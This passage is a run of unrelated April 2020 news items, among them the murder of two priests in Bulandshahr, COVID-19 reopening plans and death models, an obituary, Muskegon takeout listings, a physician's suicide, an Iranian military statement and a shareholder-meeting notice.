he said in another tweet. The two seers were found murdered inside a temple of Lord Shiva in Pagona village of Bulandshahar district in UP on Tuesday. The incident came to light only when villagers found their bodies in a pool of blood and informed the police. A man, believed to be the murder accused, was caught by locals and handed over to the police. He had been accused of theft by the priests. In Palghar, a mob lynched three men - two seers and their driver - on April 16 when they were going from Mumbai in a car towards Surat in Gujarat to attend a funeral. Their vehicle was stopped near a village in Palghar district where the three were dragged out of the car and beaten to death with sticks by a mob on suspicion that they were child-lifters. Lawyers for an 81-year-old British businessman are pleading for his temporary release from prison after a suspected outbreak of COVID-19 in his dormitory. Krishna Maharaj, who has spent decades in an American prison for a crime he says he did not commit, has been locked down in his cell after a prisoner in the 40-man dormitory was placed in quarantine. Late last year, a judge in Florida ruled that Maharaj had proved his innocence by "clear and convincing evidence" and that "no reasonable juror could convict him" - but the original verdict has yet to be overturned and he remains in prison near Miami. Maharaj was convicted and sentenced to death for the murder of two business associates in 1986, although his sentence was later commuted to life in prison. His lawyer Clive Stafford Smith, founder of the campaign group Reprieve, said: "Rather than exonerate him, Florida now seeks to execute him by COVID-19 . "Is it too much to ask for compassion for a desperately ill 81-year-old victim of such injustice?" In an interview with Sky News in prison in February, Maharaj described the "hell" of his life inside in the face of repeated delays in trying to secure his release. But, as the concerns of the virus have grown in his prison, he said: "Now we have descended into the lowest regions of hell." His wife Marita, who visits regularly from her home near the prison, said: "It is a death camp. I have had nightmares for many years where Kris is executed by the state of Florida, first in the electric chair, then by lethal injection. "Now I think they're going to execute him in a new way, by killing him with coronavirus. I am desperate for him." Maharaj's lawyers have made a formal application to Florida governor Ron DeSantis for him to be furloughed with security arrangements in place. They say they have received no reply. :: Listen to Divided States on Apple podcasts , Google Podcasts , Spotify , and Spreaker Story continues Despite having the authority, Mr DeSantis has been less willing than many governors in the US to order the early or temporary release of prison inmates, with the virus spreading in the country's third largest jail system. The state's department of corrections has said accelerated early release creates "significant risk". But Mr Stafford Smith said time was running out: "If Kris contracts coronavirus, there's a significant chance it will prove fatal." Seven coronavirus models show US coronavirus deaths will rise in coming weeks, but how sharply depends on how much "contact reduction" Americans practice, the Centers for Disease Control and Prevention said. The models estimate the numbers of cases and deaths on the state and national levels, and one model from the University of Texas at Austin makes metro-area projections. Your top coronavirus questions, answered "State-level forecasts vary widely, reflecting differences in early epidemic phases, timing of interventions and model-specific assumptions," the CDC says. Models that factor in strong contact reduction suggest deaths will continue to occur, but will "slow substantially over the next four weeks," the CDC said. "Conversely, models that do not incorporate as strong contact reductions ... suggest that total deaths may continue to rise quickly." One model frequently cited by the White House coronavirus task force has upped its predicted death toll again, this time projecting 74,000 Americans will lose their lives to the virus by August. The projection was adjusted because of longer peaks in some states and signs that people are becoming more active again, according to Dr. Chris Murray, director of the University of Washington's Institute for Health Metrics and Evaluation. Last week, the model projected 67,641 deaths from Covid-19. States including Georgia, Texas, Michigan, Hawaii and Alaska have started reopening. California Gov. Gavin Newsom said his state is weeks away from changing its stay-at-home order -- yet beaches in the southern part of the state were packed with thousands of people over the weekend. As of Tuesday morning, more than 990,100 people in the US have been infected, and more than 56,400 have died. "It's a safer strategy to get the number of infections in the community down to a really low level, and then testing and contact tracing and isolation can work," Murray said Monday. Georgia, which Murray's team warned shouldn't begin reopening until June 28, started reopening small businesses Friday. Gov. Brian Kemp said Georgia is "moving forward with data and information and decisions from the local public health officials, meeting and working within the guidelines of the great plan that the President has laid out." Under Trump's own proposal for states to reopen in phases, Georgia does not meet the "gating" criteria. Among the guidelines for "Opening Up America Again," states shouldn't start to reopen until they have a downward trajectory of documented cases in a 14-day period or a downward trajectory of positive tests as a percent of total tests in a 14-day period. "We didn't meet the full gating criteria, but we met several of them and we were approaching a plateauing, which made us feel that it would be safe to move forward because we had three things in place," said Dr. Kathleen Toomey, commissioner of the Georgia Department of Public Health. The select criteria, Toomey said, were adequate hospitalization, testing capacity and an increasing contact-tracing capacity. As more governors start reopening their states and others set the date, they're pushing to get a better idea of how hard their state has been hit through antibody testing. Experts warn there's still a lot researchers don't know about the accuracy of the tests, and the World Health Organization has cautioned that no evidence exists yet that antibodies prevent a second infection. Dr. Anthony Fauci, director of the National Institute of Allergy and Infectious Diseases, said he is encouraged that Covid-19 will respond well to a vaccine, once one is available, because there is evidence that patients "can mount a natural immune response," he said. "There's no guarantee," he said, "but the fact that the body can do it gives me cautious optimism." Hard-hit cities start testing asymptomatic people Some cities and states will start testing residents who don't have symptoms to better understand how many people have been infected. Los Angeles County will expand coronavirus testing Tuesday to include delivery drivers, rideshare drivers and taxi drivers -- even if they feel fine, Los Angeles Mayor Eric Garcetti said. "These are folks that are on the frontlines, helping us get to where we need to go, helping us have food delivered to our homes," he said. In Boston, 1,000 asymptomatic residents will undergo diagnostic and antibody testing by Friday to evaluate exposure to the virus in the city, Mayor Martin Walsh said. Starting Tuesday, Georgia public health workers will start visiting randomly selected homes in two of Georgia's largest counties to conduct antibody testing through blood samples. The program is voluntary. In New York, about 15% of the 7,500 people who have been tested in the state's antibody study have tested positive, Gov. Andrew Cuomo said. Those tests are "not ready for prime time," a former acting director of the CDC told Stat, a health news website. "As we learn whether that means you are protected in the future, there could be value in that," Dr. Richard Besser told Stat, but "the science isn't there yet to be able to say what those tests mean." "I worry that people will get a false sense of security and they can change their behavior based on the results of that test, or have a false sense of concern if it's a test that isn't detecting protections that they may actually have." Though it's unclear when New York City's schools will reopen, the city is adopting a special grading system to accommodate home learning and will stage a special citywide virtual graduation, Mayor Bill de Blasio said. "You may not have the traditional ceremony that you were looking forward to, we're going to give you something you're going to remember for the rest of your life and you will cherish," he said. States gear up to reopen in coming weeks Meanwhile, some governors are moving forward with reopening their economies. Missouri will start next week, with some statewide restrictions set to be lifted Monday, Gov. Mike Parson said Monday. "Our plan is working, the health care system is not overwhelmed and we are winning the battle," the governor said. Under the governor's plan, any business can reopen as long as 6 feet of social distancing can be maintained, and indoor retail businesses will have to limit their number of customers to no more than a quarter of their normal capacity. In Kentucky, after the state started loosening restrictions for some health care services, the governor said the next phases of reopening will be announced week by week -- with more restrictions loosened weekly, starting May 11. Texas Gov. Greg Abbott said he will allow his stay-at-home order for Texas to expire April 30. A new order will include an initial first phase of reopening that allows businesses such as retail stores, malls, restaurants and theaters to open Friday with 25% occupancy. Wisconsin's Department of Natural Resources intends to reopen 34 state parks, forests and recreational areas Friday with special conditions to minimize overcrowding and allow for social distancing, Gov. Tony Evers said. Hyderabad, April 28 : Hyderabad Police Commissioner Anjani Kumar on Tuesday suspended two police ersonnel for beating up two men, causing them bleeding injuries in separate incidents during the ongoing lockdown. A constable of Mir Chowk police station in the old city and a home guard of Golconda police station were placed under suspension. The city police chief tweeted that Mirchowk constable Ch Sudhaker has been placed under suspension for his unprofessional conduct which caused injury to a civilian. "Hyd city police remain committed to the safety, security and dignity of a common man," he tweeted. The Commissioner also tweeted that home guard Hanumantu of Golconda police station has been placed under suspension for unprofessional conduct. A charge memo was also given to Station House Officer Golconda for not properly briefing his subordinates in discharge of their duties. The action came amid a series of complaints from people about the excesses being committed by policemen while enforcing the lockdown. The police personnel were accused of using foul language and assaulting even those coming out of their homes to buy essentials. The policeman of Mirchowk broke the head of a youth with his stick when the latter was going to buy fruits for 'Iftar' or breaking the fast. In the second incident at Sheikhpet, a cop beat up a youth, causing him bleeding injuries on his face. Majlis Bachao Tehreek (MBT) leader Amjadullah Khan Khalid alleged that a sub-inspector attacked the youth, who was fasting. Khan drew the attention of Telangana minister K. T. Rama Rao to the incidents of police excesses and sought action against the policemen involved. Hester Nellis MacGregor March 5, 1920 - April 23, 2020 Hester (Terry) Nellis Stalker MacGregor, age 100, died peacefully Thursday afternoon, April 23, 2020, at Heritage Care Center in Mason City, IA. Terry was born to John and Edith (Dailey) Stalker, March 5, 1920 in Detroit, MI. She was the fourth of five children: Mary Whitenack, Harrison, Dake, and John Stalker. After graduating from Detroit High School in 1937, Terry attended The College of Wooster, Wooster, OH, graduating with a BA degree in sociology in 1941. In 1944, she completed a BS degree from Columbia University School of Nursing. That same year she married Dr. John K. MacGregor. After leaving New York City in 1945, Terry worked at University of Iowa Psychiatric Hospital, Iowa City, IA. After multiple moves during World War II and five years in Madison, WI for John's surgical residency, they made Mason City their home in 1951. They had four children prior to their divorce in 1966. Terry remained the beloved matriarch of the family throughout her long and celebrated life. When once asked to remember a cherished memory, Terry recalled sitting on the front porch as a child with her family after dinner, each with a book in hand, reading. Her father would take out his pocket watch at 7:00 p.m. to mark the daily run of the Tashmoo side-wheeler steamship as it traversed Lake St. Clair from Detroit to Port Huron, MI. Though an ordinary pleasure, the memory embodies the things that Terry most valued in life: family, a loving circle of friends, literature, word play, the beauty of view sheds (usually including water), and dreams of travel. These combined to create and sustain her greatest gift - being content in the moment. Throughout her lifetime she prioritized travel. This passion was ignited at the age of 17 with a transatlantic crossing with her mother for a tour of Norway's fjords. That initial journey set in motion her lifelong interests in languages, history, classical music, opera, foreign films, and her own artistic expression as a photographer. In the early 1960s, she explored the Caribbean's sun-soaked islands on small sailboats. After educating her children, she was able to embark on trips that included the Trans-Siberian Railroad and opera tours throughout Europe. Music was her constant companion. Across her decades, she cultivated a love of many styles of music (if not played too loudly!). This evolved into a lifetime of eclectic listening, as well as her own singing, songwriting, and guitar playing. She bestowed her lyrics on many a festive party. In the late 1950s, Terry was a driving force in establishing a foreign film series for Mason City. As a strong supporter who helped establish and sustain the MacNider Art Museum, she brought the film series there. For fifty years, she faithfully supported the museum while enjoying its many community offerings and programs. Her adaptability, genuine interest in others, patience, integrity and humor sustained her well. She practiced enormous generosity with her family and friends. Although quite frugal in her personal life, she was graciously philanthropic. She remained open-minded and enthusiastic to new ideas. She truly lived and evolved with the times throughout her 100 years, emailing and Skyping until her eye sight failed. Her decision to buy a few shares of Apple stock at age 98 further validated her nickname, Hester the Investor! She is survived by her family, who miss her and celebrate her long life and love: John MacGregor and wife Sue, Marion, IA; Dr. Paul MacGregor and wife Barbara, Mason City, IA; Laurie MacGregor and husband Guillermo Cuellar, Shafer, MN; Katie MacGregor and husband Alan Furth, Whiting, ME; grandchildren and great grandchildren: Sarah Hays (Adam) and Brian MacGregor, CA; Dr. Katie Lervick (Dr. Greg), children Bjorn and Anna, MN; Dr. Jay MacGregor (Kjerstin), children Elsa and Alma, ND; Carlos Cuellar, MN; Alana Cuellar (Paul Howe), WI; Paul Vinzani, MA. A celebration of Terry's life will take place at a later date when all can gather together. The family wishes to thank Heritage Care Center staff and Mercy One North Iowa Hospice for their wonderful care, kindness and support for Terry and family throughout her final days. Those wishing to make a memorial gift may contribute to the Charles H. MacNider Art Museum, 303 2nd St. SE, Mason City, IA 50401, or a charity of your choice. MUSKEGON COUNTY, MI - With Michigans stay-at-home order further extended, you may be going a bit stir-crazy. Let a local business take some of the pressure off dinner this Takeout Tuesday. Here are some suggestions: Outside Pints and Quarts Rub on West Norton Avenue in Muskegon, Michigan on Thursday, April 23, 2020.Alison Zywicki | azywicki Pints and Quarts (950 W. Norton Ave., Muskegon) Roosevelt Parks Pints and Quarts, a favorite for burgers and beer, is offering much of its standard pub grub menu, like loaded salads, burgers and sliders, chili and wings, to go. Theyve also got some Lockdown Specials, including $10 pizzas after 4 p.m., and $10 fried fish baskets on Fridays and Saturdays. For $28, you can also pick up a meal that will feed a family of four, including sides and desserts, like barbecue and fajitas, and are available for pickup between 4 and 8 p.m. The specials and family packs change every week, so find their menu here, and call (231) 830-9889 to arrange a pickup. Outside the Pita Place on East Apple in Muskegon, Michigan on Thursday, April 23, 2020.Alison Zywicki | azywicki The Pita Place (2039 Apple Ave., Muskegon) For some healthy Mediterranean options, the Pita Place, in Muskegon Township, offers meat and veggie gyros, falafel wraps, salads and soups until 9 p.m. for takeout or at their drive-through window. On Tuesdays, any soup comes with free pita bread. Families can order spinach and artichoke bites or falafel to share, and those with a sweet tooth can get homemade baklava. Find their menu here, and call (231) 773-7482 to arrange a pickup. Outside the Chicken Coop on Sanford Street in Muskegon, Michigan on Thursday, April 23, 2020.Alison Zywicki | azywicki Chicken Coop (2544 Sanford St., Muskegon Heights) There may be nothing more comforting during stressful times than fried food, so this fried chicken spot in Muskegon Heights has you covered. Alongside wings, breast and drumsticks, you can get seafood, like clams, smelt and shrimp, and veggie sides, like fried okra, asparagus and mushrooms. Four people will be allowed inside to order, following markers on the floor, or you can call ahead at (231) 733-5516 to arrange a pickup. Outside Los Amigos Mexican Bar & Grill on East Sherman Blvd in Muskegon, Michigan on Thursday, April 23, 2020.Alison Zywicki | azywicki Los Amigos (1848 E Sherman Blvd., Suite M, Muskegon) For a Taco Takeout Tuesday, try Los Amigos, where owner Ana Olson has supported community members during the COVID-19 outbreak by hosting a fundraiser for Kids Food Basket and donating pantry staples to families in need. A lunch or dinner order of tacos, fajitas, enchiladas or burritos - or maybe some combination of those - will support those efforts (and keep you full and happy). Find the full menu here, and call (231) 737-5010 to arrange a pickup, or order pick-up or delivery through DoorDash, Grubhub, or Uber Eats. Dog N Suds was established in 1968 in Muskegon. It also know for its root beer. Current owner is Dave Hosticka. He also leases the other location in Montague. They are the last Dog N Suds franchises in Michigan.John Gonzalez Dog 'n Suds Drive In (4221 Grand Haven Rd., Norton Shores, and 4454 Dowling St., Montague) Just in time for the emergence of spring weather, you can pick up classic fare from this finalist for Michigans best Coney dogs from one of two locations. The drive-in setup encouraged social distancing before it was cool, and hot dogs, burgers, fries, shakes and root beer will be delivered right to your car door. Check out the menu here, and either swing by to order, or call ahead at (231) 798-4976 for Norton Shores, and (231) 894-4991 for Montague. Have an idea for MLives Takeout Tuesday feature? Send suggestions to munews@mlive.com. Read more on MLive: Takeout Tuesday: 5 Muskegon-area restaurants to visit -- from a distance Takeout Tuesday: Where to grab a meal in the Muskegon area Local bakery offers 'pay what you can to community members during coronavirus crisis Namita Bajpai By Express News Service LUCKNOW: Days after the brutal lynching of two sadhus in Palghar district of Maharashtra, two seers were found murdered inside a temple of Lord Shiva in Pagona village of Bulandshahar district in UP on Tuesday. The incident came to light only when villagers found their bodies in a pool of blood and informed the police. A man, believed to be the murder accused, was caught by locals and handed over to the police. He had been accused of theft by the priests. Speaking to the media, SSP Bulandshehar Santosh Kumar Singh said, The incident took place in Pagona village under Anoopshehar police station. The two priests Jagdish alias Gareeb Das, 55, and Sher Singh alia Seva Das, 45, had been living in the temple of Lord Shiva for the last 10 years and they used to tend it. Murari alias Raju, a resident of the same village, is accused of stealing the chimta (tong) of the seers who had scolded him for it a few days ago. The SSP added that Murari arrived at the temple with a sword on Monday night and murdered the two saints. The accused is in an inebriated state and we are trying to extract more information about the incident, he added. The district magistrate of Bulandshehar, Ravindra Kumar, said the accused was arrested with the help of locals. The accused has claimed it was the will of God. He has denied using any sword and claimed that he killed the priests using a stick that was lying at the temple, the district magistrate said. UP CM Yogi Adityanath, taking cognizance of the incident, directed district officials to reach the site of the crime and inform him of the investigations. He has also ordered strict action against the accused. Bodies of two priests found at a temple in Bulandshahr. Police investigation underway. Post-mortem reports awaited. pic.twitter.com/SsH7hMrrSv ANI UP (@ANINewsUP) April 28, 2020 Meanwhile, the opposition including the Samajwadi Party and Congress have raised questions on the law and order situation in the state. Samajwadi Party chief and former UP chief minister Akhilesh Yadav condemned the killings and demanded a thorough probe, Congress General Secretary Priyanka Gandhi demanded an impartial inquiry into the matter. In the first 15 days of April, more than 100 people were murdered in Uttar Pradesh. Three days back, five members of the Pachouri family were found dead under mysterious circumstances in Etah district of UP, nobody knows what happened with them. Today, two priests were brutally killed in UPs Bulandshehar. Such heinous crimes should be thoroughly investigated and nobody should politicise the matter, she said. Priyanka added that the government should ensure an impartial investigation into the case. In this column recently you quoted Julia Hartman commenting on claiming home office expenses. She said that: "if done properly, working from home should not affect the Capital Gains Tax (CGT) main residence exemption on your home". Could you please explain how to do this "properly"? About 20 years ago, my accountant's advice was to claim a portion of running expenses (gas, electricity, water) but not rates (council, water) or mortgage, and that this would not affect CGT on my main residence. So that's what I did. But in recent years, the Australian Taxation Office website seems to be quite clear that if a portion of the house is used for business, then CGT will be affected, so you might as well claim a portion of everything. I'd appreciate some clarity. The issue turns on the distinction between just working from home, as opposed to your home being used to produce income. Illustration: Simon Letch Credit: Part of the test is the nature of use. For example, if you see clients at home, have a sign out the front, and it is the address on your stationery and business cards and you possibly employ staff there you are unquestionably running a business, and the use of your home is fundamental to that business producing income. However, merely choosing to use your study to do some work when you have an alternative business location that is open to the public, would not make your home a place of business. - PDP has criticised Buhari over his Monday COVID-19 address - The party said Buhari failed to offer decisive solutions to protect Nigerians from the deadly pandemic - Buhari had in his broadcast extended the lockdown in Lagos, Abuja and Ogun state by one week Nigeria's opposition Peoples Democratic Party (PDP) has criticised Buhari over his Monday, April 27, COVID-19 address. The party said Buhari failed to offer decisive solutions to protect Nigerians from the deadly pandemic. The party also expressed disappointment that President Buhari did not offer any post lockdown stimulus to assist Nigerians in the private sector whose businesses had been crippled by the lockdown and are now faced with the burden of workers salaries and business refinancing. Also, the PDP lamented that Buhari did not offer a decisive solution regarding the production of drug, testing kits and management of equipment to safeguard Nigerians, despite the huge resources at the disposal of his administration. "Our party invites Nigerians to observe how countries like Senegal had effectively mobilized their indigenous medical researchers and manufacturers to produce low cost quick testing kits as well as ventilators while investing massively in the production of drug for treatment of COVID-19 patients," the party said in a statement by its spokesperson, Kola Ologbondiyan. The party said Buhari failed to offer decisive solutions to protect Nigerians from the deadly pandemic. Credit: Femi Adesina Source: UGC Meanwhile, Legit.ng had reported that Senegal adopted a novel approach to the fight against coronavirus by testing every citizen of the country either they show symptoms of the deadly disease or not. The country has also developed one of the world's most affordable coronavirus testing kits, which costs $1 (N360.50) each, $60 (N2,163) 3D printed ventilators. Legit.ng gathered that Senegal has one of the highest coronavirus recovery rates in the world. It has the largest recovery in Africa and the third in the world. Legit.ng had also reported that a Nigerian man in the United Kingdom has cautioned fellow countrymen against criticising Buhari over lockdown extension, saying the president means well for them. The man identified as Samuel N on Twitter said he has tested positive for COVID-19, and that he has not eaten for the past 13 days due to the deadly disease. He said his main concern is to survive the virus, suggesting that people should focus on keeping safe instead of complaining of lockdown. The Nigerian man said he has been under the care of the National Health Service in the United Kingdom since he tested positive for the disease. He tweeted: "We are at war fighting an invisible enemy, everyone needs to join hands together to defeat the common enemy. "Please follow all government and NCDC advice and guidelines. "Hunger that has hope can never kill you. Always maintain social distancing, wash your hands and sanitise." PAY ATTENTION: Install our latest app for Android, read best news on Nigerias #1 news app NAIJ.com (naija.ng) -> Legit.ng We have updated to serve you better Coronavirus: Are Nigerians really afraid of COVID-19? New survey reveals more | Legit TV Source: Legit.ng Leading US online retailer Amazon has said it will extend the closure of its six warehouses in France to 5 May after a French court rejected the company's appeal against a ruling forbidding it from delivering nonessential items during the coronavirus crisis. Amazon said in a statement on Monday that its workers will be asked to stay home until 5 May, adding they will receive full pay. "We have no choice but to extend the temporary suspension of activities at our French distribution centres while we evaluate the best way to operate in light of the Court of Appeal decision," it said. The court of Appeal maintained in its ruling last Friday that only essential health and food goods could be delivered during the coronavirus pandemic. However, it extended the list of goods to include digital products, office goods, pet supplies, groceries, drinks and personal care products. The appeals court also lowered the amount Amazon would be fined for each violation, from 1 million euros down to 100,000 euros. Despite these moves, Amazon suggested that it could not afford to open its distribution centres, for fear of making errors in judgement with unauthorized products. Amazon's warehouses in France, which employ some 10,000 people have been closed since mid April. Unions complained that the company had not respected adequate safety measures for employees in light of the spread of coronavirus. A 61-year-old Bucks County man called Pennsylvania Gov. Tom Wolfs office late Monday morning and threatened to kill Wolf and the governors family, state police alleged in court papers. Brian Edward Rafferty, of Lower Southampton Township, was upset that he hadnt received an unemployment check and couldnt get through to state the office that oversees the benefits, according to police. Rafferty allegedly made several calls to the unemployment office before dialing up the governor. Becoming angry and cursing, Rafferty said to the person who answered the phone, I live right down the street from the governors daughter and granddaughter and theyre dead, you hear me. Theyre dead, police said. Rafferty also threatened to kill the governor, police said. Rafferty was picked up then questioned at the state police barracks in Bensalem, where he admitted to threatening Wolf and his family and explained that he was frustrated by not being able to talk to someone at the unemployment office, police said. Court papers didnt say if Rafferty lost his job due to the coronavirus pandemic and police and the county district attorneys office couldnt immediately fill in that blank on Tuesday. District Attorney Matt Weintraub in a statement said he understands these are very difficult times, but there are limits to behavior that can be tolerated. I feel badly for people who are feeling the pressure and frustration of unemployment during this stressful time, he said. Thats terrible. But its no excuse to resort to threats of violence. We cannot tolerate it if we are to all get through this as best we can. Rafferty was arraigned Monday evening before District Judge Michael W. Gallagher on charges of terroristic threats and harassment, both misdemeanors, and was being held in Bucks Countys prison in lieu of 10 percent of $200,000 bail, records show. His preliminary hearing is tentatively scheduled 1:30 p.m. June 3 before District Judge Daniel Baranoski, records show. Court papers did not list an attorney for Rafferty. He must get a mental health evaluation within 24 hours if released on bail and cant talk to the governors office, according to a report in The Intelligencer newspaper. State police said the governor and his family, who are protected 24/7 by an executive detail of the state police, were never in danger. Lower Southampton is about 45 miles south of Easton. Thank you for relying on us to provide the journalism you can trust. Please consider supporting lehighvalleylive.com with a voluntary subscription. Tony Rhodin may be reached at arhodin@lehighvalleylive.com. Fears are growing for the welfare of two teenagers after they vanished from their hometown almost three weeks ago. Obakeng Sitole, 15, and Jordan Goode, 17, have not been seen in the Wirral on Merseyside since early April and police believe they may have run away together. It is feared the teenagers could now be in Cumbria or even as far away as Aberdeen or Dundee in Scotland, hundreds of miles away. Merseyside teenagers Jordan Goode (L) and Obakeng Sitole (R) have been missing for weeks and police fear they could be hundreds of miles away in Aberdeen or Dundee in Scotland This map shows where police believe the two teenage boys could have travelled to Have you seen the missing teenagers? Jordan, Obakeng, or anyone with information on their whereabouts, is asked to contact @MerPolCC, 101 or @missingpeople on 116 000 Advertisement Police today issued pictures of the two teenagers and confirmed that 'officers are becoming increasingly concerned for their whereabouts'. The teenagers themselves were today urged to get in touch. Jordan Goode was last seen in Wallasey on Wednesday, April 8. He is described as 5ft 6in tall, of slim build, with dark brown hair and brown eyes, a fair complexion and is clean shaven. When he was last seen Jordan was wearing grey shorts, a T-shirt and sliders. Obakeng Sithole was last seen in New Chester Road, Birkenhead at around 11.55pm on Friday, April 10. He is described as around 5ft 8in tall, of medium build, with short black shaven hair. When last seen, Obakeng was wearing black trousers, a black hoodie and black Nike trainers. Obakeng was last seen in New Chester Road, Birkenhead (street pictured) on Friday, April 10 A Merseyside Police spokeswoman said: 'Obakeng and Jordan are both known to frequent areas of Wirral; however, it is believed they may have travelled to Scotland or Barrow-in-Furness, Cumbria. 'Officers believe the boys may be together.' Jordan, Obakeng, or anyone with information on their whereabouts, is asked to contact @MerPolCC, 101 or @missingpeople on 116 000. Some of the countries which have been worse hit by the coronavirus are members of the European Union. But there has been no joint European Union action against the virus; infact member states have acted alone taking measures in the national interest. You would have thought that the European Union would have produced a common strategy for all states. If it did, no-one was listening. In the end most countries adopted the same measures; lockdown, non-essential businesses closed etc, but the EU was not even consulted. The Schengen Treaty on border free travel was quickly abandoned as countries closed their borders. The European Union does appear to have a role in the post-Coronavirus aid package but there has been little or no agreement between member states. It is a rather odd situation, as Britain prepared to leave the European Union it appeared that EU states were becoming closer. At the moment I don't think they could be further apart. Now, obviously they will be a return to normality once the coronavirus crisis has eased but the future of the EU could ve in doubt. The biggest crisis in recent European history and the EU is on the sidelines. Also, Brexit will soon be back on the agenda and no-one can say that the European Union is in good shape. If the EU wants a role then it should start planning how it is going to deal with the aftermath of the coronavirus crisis and help get member states back on their feet. A top emergency room doctor at a Manhattan hospital that treated many coronavirus patients died by suicide Sunday, her father and the police said. Dr Lorna M Breen, medical director of the emergency department at NewYork-Presbyterian Allen Hospital, died in Charlottesville, Virginia, where she was staying with family, her father said in an interview. Tyler Hawn, a spokesman for the Charlottesville Police Department, said in an email that officers on Sunday responded to a call seeking medical assistance. The victim was taken to UVA Hospital for treatment, but later succumbed to self-inflicted injuries, Hawn said. Breens father, Dr Philip C Breen, said she had described devastating scenes of the toll the coronavirus took on patients. She tried to do her job, and it killed her, he said. Philip Breen said his daughter had contracted the coronavirus but had gone back to work after recuperating for about a week and a half. The hospital sent her home again, before her family intervened to bring her to Charlottesville, he said. Lorna Breen, 49, did not have a history of mental illness, her father said. But he said that when he last spoke with her, she seemed detached, and he could tell something was wrong. She had described to him an onslaught of patients who were dying before they could even be taken out of ambulances. She was truly in the trenches of the front line, he said. He added: Make sure shes praised as a hero, because she was. Shes a casualty just as much as anyone else who has died. In a statement, NewYork-Presbyterian/Columbia used that language to describe her. Dr Breen is a hero who brought the highest ideals of medicine to the challenging front lines of the emergency department, the statement said. Our focus today is to provide support to her family, friends and colleagues as they cope with this news during what is already an extraordinarily difficult time. Dr Angela Mills, head of emergency medical services for several NewYork-Presbyterian campuses, including Allen, sent an email to hospital staffers Sunday night informing them of Lorna Breens death. The email, which was reviewed by The New York Times, did not mention a cause of death. Mills, who could not be reached for comment, said in the email that the hospital was deferring to the familys request for privacy. A death presents us with many questions that we may not be able to answer, the email read. Aside from work, Breen filled her time with friends, hobbies and sports, friends said. She was an avid member of a New York ski club and traveled regularly out west to ski and snowboard. She was also a deeply religious Christian who volunteered at a home for older people once a week, friends said. Once a year, she threw a large party on the roof deck of her Manhattan home. She was very close with her sisters and mother, who lived in Virginia. One colleague said he had spent dozens of hours talking to Breen not only about medicine but about their lives and the hobbies she enjoyed, which also included salsa dancing. She was a lively presence, outgoing and extroverted, at work events, the colleague said. NewYork-Presbyterian Allen is a 200-bed hospital at the northern tip of Manhattan that at times had as many as 170 patients with Covid-19, the illness caused by the coronavirus. As of April 7, there had been 59 patient deaths at the hospital, according to an internal document. Dr Lawrence A. Melniker, the vice chair for quality care at the NewYork-Presbyterian Brooklyn Methodist Hospital, said Breen was a well-respected and well-liked doctor in the NewYork-Presbyterian system, a network of hospitals that includes the Columbia University Irving Medical Center and the Weill Cornell Medical Center. You dont get to a position like that at Allen without being very talented, he said. Melniker said the coronavirus had presented unusual mental health challenges for emergency physicians throughout New York, the epicenter of the crisis in the United States. Doctors are accustomed to responding to all sorts of grisly tragedies, he said. But rarely do they have to worry about getting sick themselves, or about infecting their colleagues, friends and family members. And rarely do they have to treat their own co-workers. Another colleague said that Breen was always looking out for others, making sure her doctors had protective equipment or whatever else they needed. Even when she was home recovering from Covid-19, she texted her co-workers to check in and see how they were doing, the colleague said. Ali Watkins, Michael Rothfeld, William K. Rashbaum and Brian M. Rosenthal@c.2020 The New York Times Company Any US provocation, illegal move against Iran will be dealt with firmly: Armed Forces Iran Press TV Monday, 27 April 2020 5:40 PM The General Staff of the Iranian Armed Forces says the presence of the United States and its allies in the West Asia region has been the source of insecurity for regional countries, warning that any provocative move by US forces will be met with Iranian Armed Forces' categorical response. In a statement issued on Monday, the General Staff of the Iranian Armed Forces said, "High-risk behaviors, which make shipping [in regional waters] insecure, have started since the adventurist and terrorist country of America and some of its allies came to this sensitive region." "As it has been repeatedly announced, the Islamic Republic of Iran has never initiated and will never start any tension and conflict in the region, but will always defend its territorial integrity with preparedness, strength and power," Iran's high military body said, adding, "Any act of adventurism, harassment and provocation will be met with the Iranian Armed Forces' decisive response and hostile forces, including the US, will be responsible for consequences." The Islamic Republic strongly believes that regional countries have necessary capabilities to maintain security in the Persian Gulf, the strategic Strait of Hormuz and the Sea of Oman, and guarantee security of energy flow through the region, the statement said. "False extra-regional coalitions led by the US will not only fail to help ensure stability and security in this region, but will also disrupt regional order and security," the statement pointed out. It said the US' precarious presence and its establishment of military bases in the region have been the root causes of insecurity, illegal moves and acts of mischief, adding that the Islamic Republic has repeatedly warned international bodies about Washington's destabilizing moves, which run counter to international laws and regulations. The Armed Forces advises the US and its allies to abide by Iran's regulations as well as international rules and to avoid any acts of adventurism, measures in violation of principles of safe navigation, and providing false accounts of their provocative behaviors while passing through Iran's territorial waters, it said. The statement noted that the military forces of the US and its allies need to withdraw from the region and allow regional countries to establish security in cooperation with each other as the sole secure way to enforce peace and stability in the Persian Gulf, the Strait of Hormuz and the Sea of Oman. Decades-old tensions between Tehran and Washington have escalated since 2018, when US President Donald Trump withdrew from the landmark Iran nuclear deal, officially known as the Joint Comprehensive Plan of Action (JCPOA). The US president further added fuel to the fire when he recently threatened that US Navy ships would shoot "out of the water" Iranian gunboats that get too close in the Persian Gulf. Trump's remarks came after a US Navy statement alleged that 11 boats of Iran's Islamic Revolution Guards Corps (IRGC) had closed in on six US naval vessels in the Persian Gulf "in dangerous and harassing approaches." The IRGC strongly dismisses the statement, calling the account a "Hollywood tale." The Iranian Foreign Ministry on Thursday summoned the Swiss ambassador, whose country represents the United Stats' interests, to convey the Islamic Republic's strong condemnation of the provocative and aggressive acts by the US Navy's terrorist forces in the Persian Gulf close to the Iranian coastline. Foreign Ministry Spokesman Abbas Mousavi said, "The summoning took place because of the acts of harassment and provocation by American forces in the Persian Gulf." In a phone conversation with Emir of Qatar Sheikh Tamim bin Hamad Al Thani on Saturday, Iran's President Hassan Rouhani said that Tehran won't initiate any conflict in the region despite the US provocative moves. "The Islamic Republic of Iran is closely watching and following the activity and movements of Americans, but will never be the initiator of any tension and conflict in the region," Rouhani added. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address [April 28, 2020] PennyMac Mortgage Investment Trust Announces Change to Virtual Format for 2020 Annual Meeting of Shareholders PennyMac Mortgage Investment Trust (NYSE: PMT) today announced that it will host its 2020 Annual Meeting of Shareholders (the "Annual Meeting") virtually by means of a live webcast due to the public health concerns resulting from the coronavirus disease 2019 (COVID-19) and to prioritize the health and well-being of the Company's shareholders, its officers and other meeting participants. The Annual Meeting, which was previously announced in the Company's Notice of 2020 Annual Meeting of Shareholders, filed with the Securities and Exchange Commission on April 3, 2020, will continue to be held on May 14, 2020 at 11:00 a.m. Pacific Daylight Time. Although shareholders will not be able to attend the Annual Meeting in person, shareholders will have the ability to participate in and vote during the 